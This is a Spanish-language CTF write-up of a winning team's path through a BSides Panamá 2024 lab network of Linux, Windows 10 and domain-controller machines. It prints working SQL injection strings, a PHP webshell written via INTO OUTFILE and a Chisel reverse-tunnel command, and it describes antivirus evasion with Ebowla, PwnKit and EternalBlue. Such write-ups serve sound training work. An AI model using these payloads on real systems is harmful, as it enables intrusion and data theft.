En esta entrada, exploraremos las soluciones y estrategias utilizadas por mi equipo, formado por Elzer Pineda, Eduardo Luna y mi persona, José Navarro, durante el reciente Capture The Flag (CTF) organizado por Comunidad Dojo y OYDIA como parte de la agenda del BSides Panamá 2024, donde obtuvimos el primer lugar.
Nota: El CTF también contenía una serie de retos relacionados al Hacking de redes Wi-Fi, pero estos serán omitidos en el WriteUp por falta de documentación durante la explotación.
Topología de Red
La red estaba compuesta por dos servidores, uno Windows y un Linux, además un escritorio Windows 10, estos estaban en una red privada, a la que se accedía por medio de una VPN provista por los organizadores.
Webserver Linux
Reconocimiento Inicial
Al realizar un escaneo de puertos con Nmap, pudimos observar que los puertos 22, 80 y 3000 estaban abiertos, por lo que sospechamos que nos enfrentábamos a un servidor web. Luego realizamos un escaneo de servicios y versiones con Nmap, utilizando el comando:
nmap -p 22, 80, 3000 -sCV 10.1.1.101 -oN portScan
Y obtuvimos el siguiente resultado:
Al acceder al servicio web que se encontraba en el puerto 80, observamos que era una página vacía, por lo que intentamos realizar fuzzing.
El fuzzing nos dio como resultado dos rutas importantes, la primera de ellas era un archivo phpinfo.php y un directorio llamado copper.
Flag: Acceso a informacion de servidor Linux
Al ingresar al archivo phpinfo.php, podemos encontrar al final del archivo nuestra primera flag.
flag - 4789accc94caf5962a77d3f08bd2c9015c7576ea80fa0770507bf6373072529c
Directorio Copper
Una vez entramos al directorio, nos encontramos una apliciación web llamada Coppermine Gallery, que no es más que una galería de fotos. Al investigar un poco, encontramos que las credenciales por defecto eran admin:admin
, al intentarlo, tuvimos acceso al panel administrativo, por lo que la aplicación tenía las credenciales por defecto.
Shell como www-data
Al investigar más sobre Coppermine Gallery, encontramos que es vulnerable a una Ejecución Remota de Comandos (RCE), por lo que explotamos la vulnerabilidad de la siguiente manera:
- Crear una webshell o una reverse shell utilizando PHP, en nuestro caso, utilizamos php-reverse-shell.php, creado por PentestMonkey.
- Comprimimos la reverse shell en un archivo zip utilizando
zip shell.zip shell.php
. - Accedemos al sitio de administración de plugins que se encuentra en
/pluginmgr.php
. -
Subimos el archivo comprimido con nuestra reverse shell.
- Iniciamos una sesión en Netcat para recibir nuestra shell.
- Acceder al directorio
/plugins/shell.php
Flag: Acceso al servidor Linux - Usuario bajos privilegios
Una vez entramos al servidor, en el directorio /var/www/
, nos encontramos un archivo llamado flag.txt
siguiente flag:
user - 070670a00ab35e26ae913c88637a9fcb4206829c93bf991f1ccdc07944c71ec6
Flag: Acceso a informacion de servidor Linux #2
En el directorio /var/www/html
, nos encontramos una carpeta llamada backups
, en esta hay un archivo llamado backup-sql.sql
, si nos traemos este archivo a nuestra máquina de atacante y lo analizamos, encontraremos nuestra siguiente flag.
flag - 6dca221373d9e5086413d6def87c641431d7b3b4b9316a342f2eb26d96161f6d
PrivEsc www-data -> root
El escalado de privilegios en este servidor es bastante sencillo.
Al enumerar filtrar por los archivos con permisos SUID, por medio del comando find \-perm -4000 2>/dev/null
encontramos que se encuentra el binario ./usr/bin/pkexec
por lo que el servidor es vulnerable a CVE-2021-4034, o mejor conocido como PwnKit.
La explotación es simple, solamente nos descargamos el binario que se encuentra en GitHub y lo transferimos al servidor.
Al ejecutar el binario, obtenemos una shell como root.
Flag: Acceso al servidor Linux - Usuario bajos privilegios #2
En el directorio /home/greg
, encontramos un archivo llamado flag.txt y aquí obtenemos nuestra flag de bajos privilegios.
user - 99ac9d9aa3e05bcc7593b106f3f87539ce437c397be0fd6b6113b9fdb43906d7
Flag: Acceso root al servidor Linux
En el directorio /root
, encontramos un archivo llamado flag.txt y aquí obtenemos nuestra flag de root.
root - 2b19be30debdda83c56ee0bc6c0ffd1fd2ce0bc5190c930da74de59f8a795881
Con esto, concluimos la primera máquina de este CTF.
APP-01 Windows 10
Reconocimiento Inicial
Luego de realizar el escaneo de puertos y sus respectivas versiones, encontramos que en el equipo se estaban ejecutando distintos servicios, entre ellos habían servicios web (puertos 80, 443 y 3000), RPC, Netbios, SMB, MySQL, RDP, etc.
En cuanto a los servicios web, en el puerto 80 y 443 nos encontramos la pantalla de inicio de XAMPP.
Por otro lado, en el puerto 3000 nos encontramos un servidor de Gitea, de una versión aparentemente vulnerable a RCE, pero esa vulnerabilidad había sido proboada solamente en Linux.
Decidimos intentar Fuzzing en el puerto 80 con el siguiente comando:
wfuzz -c -t 500 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.1.1.101/FUZZ
Como se puede ver en la imagen, existe un directorio llamado login, vemos que su estado es 301, esto se da ya que decidimos realizar el fuzzing en al puerto 80, por lo que el servidor intenta redirigirnos al puerto 443.
Una vez entramos al directorio, encontramos una aplicación web básica que parece ser un proyecto de autenticación en PHP.
Algo curioso que encontramos en la aplicación, es que en la parte inferior derecha de la página, aparece el nombre de un blog de programación, por lo que imaginamos que es el creador de la aplicación.
Al ingresar al blog de PHPGurukul - Programming Blog, podemos encontrar este y otros proyectos de programación, así que pudimos encontrar el código fuente para analizarlo y encontrar otras cosas.
Inyección SQL 1
Al analizar el código fuente, encontramos la consulta SQL donde se realizaba el login, que era:
SELECT id,fname FROM users WHERE email='$useremail' and password='$dec_password'
Además, encontramos que la información ingresada por los usuarios no era sanitizada antes de llegar a la base de datos, por lo que era vulnerable a una inyección SQL.
Al utilizar ' OR '1'='1'; -- -
en los campos de usuario y contraseña, obtenemos acceso al sitio administrativo.
Inyección SQL 2
Al navegar por el sitio administrativo, encontramos una opción para editar la información de los usuarios, lo curioso aquí, es que la información de los usuarios la obtenía a través de una consulta SQL, para poder realizar la consulta, utiliza un parámetro llamado uid
, con números enteros.
Si reemplazamos el uid
del usuario por un caracter especial como '
, obtenemos un error de la base de datos, esto quiere decir que el parámetro es vulnerable a una inyección SQL.
Luego de mucho tiempo intentando inyecciones, realicé la siguiente consulta:
' UNION SELECT null, table_name, null, null, null, null, null FROM information_schema.tables -- -;
Esto me dió como resultado el esquema de la base de datos. Y algo muy curioso, es que me había una tabla llamada flag.
Flag: Acceso a informacion del equipo de escritorio Windows 10
Al encontrar la tabla flag, realicé unos cambios en la consulta anterior, y realicé la siguiente consulta:
' UNION SELECT null, column_name, null, null, null, null, null FROM information_schema.columns where table_name="flag" -- -;
Y habemus flag!
sql - 0ec96c090f1b4aa9d7674c6eaeef5009b6d02201cf9006b561bbd8d4e7
Inyección SQL 3 y RCE
Luego de haber conseguido la inyección SQL, pensamos si era posible escribir una webshell básica de PHP en el directorio C:\xampp\htdocs\
, por lo que intentamos la siguiente consulta:
' UNION select 1,2,"<?php echo shell_exec($_GET['c']);?>",4,5,6,7 into OUTFILE 'C:/xampp/htdocs/cmd.php';-- -
Al ejecutar la consulta, nos dirigimos al archivo creado y tuvimos RCE.
Evasión de Antivirus y Shell como roger
Después de más de 3 horas intentando conseguir una reverse shell con nc.exe
, php-reverse-shell.php
y ejecutables creados con msfvenom
, todas sin éxito, decidí enumerar información sobre Windows Defender.
Al ejecutar el comando powershell.exe Get-MpComputerStatus
, encontramos que la protección en tiempo real estaba habilitada.
Esto significa que tendremos que crear un payload con msfvenom
, para luego ofuscarlo, en este caso utilizando la herramienta Ebowla.
En este caso, creé un payload de meterpreter utilizando msfvenom, luego cloné el repositorio oficial de Ebowla, para ofuscar el payload.
Para ofuscar el payload, debemos editar el archivo genetic.config de Ebowla, aquí debemos ir a la sección de [ENV_VAR] y rellenar los datos con las variables de entorno del equipo víctima.
Luego de esto, ejecutamos lo siguiente
python2 ebowla.py shell.exe genetic.config
Luego de esto, debemos compilar el código ofuscado que nos da Ebowla, esto lo realizamos con el script que viene con la herramienta.
Una vez compilado, pasamos el binario a equipo víctima, en este caso con curl.
Después de enviar el archivo, abrimos una sesión de escucha en meterpreter y ejecutamos el binario.
Flag: Acceso al equipo de escritorio Windows 10
Luego de tener la shell, podemos ir al directorio C:\Users\Roger\Documents
y encontraremos el archivo flag.txt
con nuestra flag.
root - fae6640c394268a0fd3cf71ab749c721230982669f8733bf9b92680ec5fc5bca
En este escritorio no es necesario escalar privilegios, por lo que podemos pasar al servidor DC-01.
DC-01 Windows Server 2012
Reconocimiento Inicial
Durante el escaneo de puertos, nos dimos cuenta que estábamos ante un Domain Controller de un Directorio Activo, pero algo que llamó mucho la atención, es que no tenía el servicio SMB expuesto (al menos eso pensábamos).
Luego de ver esto, pensamos que era muy extraño que en un Directorio Activo no esté el servicio SMB en ejecución, por lo que decidimos pensar fuera de la caja y hacer otro escaneo de puertos, pero desde una de la máquinas comprometidas, en este caso el WEBSERVER Linux, por lo que utilizamos Linpeas para realizar el escaneo de puertos de la siguiente manera:
./linpeas.sh -i 10.1.1.100
El escaneo en Linpeas nos arroja que el puerto 445 está abierto, por lo que podemos hacer Port Forwarding desde la máquina Linux hasta nuestra máquina de atacante, para traer el puerto 445 y poder escanear el SMB, esto lo haremos utilizando la herramienta Chisel.
Para poder traer el puerto, primero debemos iniciar chisel en nuestra máquina de atacante con el comando:
./chisel server --reverse -p 1234
Luego, en la máquina Linux ejecutamos lo siguiente:
./chisel client 172.16.80.6:1234 R:127.0.0.1:445:10.1.1.100:445
Con esto, ya tendríamos el puerto 445 disponible, pero en este caso, el ataque lo tendríamos que dirigir a nosotros mismos, es decir, al la dirección 127.0.0.1
.
Shell como nt authority\system
Para realizar el escaneo al servicio SMB, utilizamos lo siguiente:
nmap -p 445 -sCV --script "vuln and safe" 127.0.0.1 -oN smbScan
Aquí descubrimos que el servidor es vulnerable a MS17-010, o mejor conocido como EternalBlue.
Por problemas de dependencias en Python 2.7 y la colección de Impacket para Python 2, decidí explotar la vulnerabilidad utilizando Metasploit.
Una vez que se ejecuta, obtenemos una shell en el DC01 como nt authority\system
.
Flag: Acceso administrador al servidor Windows
Luego de obtener la shell, en el directorio C:\Users\Administrador\Desktop
, encontramos el archivo flag.txt
, que contiene la última flag que nos hace falta para terminar este CTF.
root - a322ca338569fdfd2d32352dd86dab2ee584eefa5971ab3dfa0e934b0f527f79
Conclusiones
Participar en este Capture The Flag no solo me permitió aplicar y fortalecer diversos conocimientos, como la evasión de antivirus e inyecciones SQL, sino que también brindó momentos especiales llenos de diversión y sana competencia durante los desafíos presenciales. Quiero agradecir profundamente a Comunidad DOJO y OYDIA por la creación y desarrollo de este Capture the Flag. Además, quiero expresar mi agradecimiento a mi equipo, formado por Elzer Pineda, Eduardo Luna, y yo, José Navarro, por el esfuerzo que hicimos, que nos llevó a la victoria.